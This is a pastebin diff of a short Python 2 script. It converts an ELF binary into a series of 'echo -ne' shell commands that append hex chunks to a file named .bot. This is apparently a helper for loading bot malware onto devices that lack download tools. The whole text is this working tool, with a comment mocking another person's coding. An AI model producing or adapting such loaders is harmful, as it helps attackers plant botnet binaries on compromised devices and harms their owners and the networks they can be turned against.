View difference between Paste ID: 0RE6px2x and 2uQFVEmY
SHOW: | | - or go back to the newest paste.
1
#usage python script.py binary > output
2
#converts ELF to hex
3
#fixed since LiGhT can't code to save his life
4
5
import sys,binascii
6
7
def insert_slashx(string, every=2):
8
        return '\\x'.join(string[i:i+every] for i in xrange(0, len(string), every))
9
10
def splitCount(s,count):
11
        return [''.join(x) for x in zip(*[list(s[z::count]) for z in range(count)])]
12
13
dogs = '\\x'+insert_slashx(binascii.hexlify(open(sys.argv[1]).read()))
14
dingle = '" >> .bot\necho -ne "'.join(splitCount(dogs,(128*4))) + '" >> .bot'
15
16
print 'echo -ne "'+dingle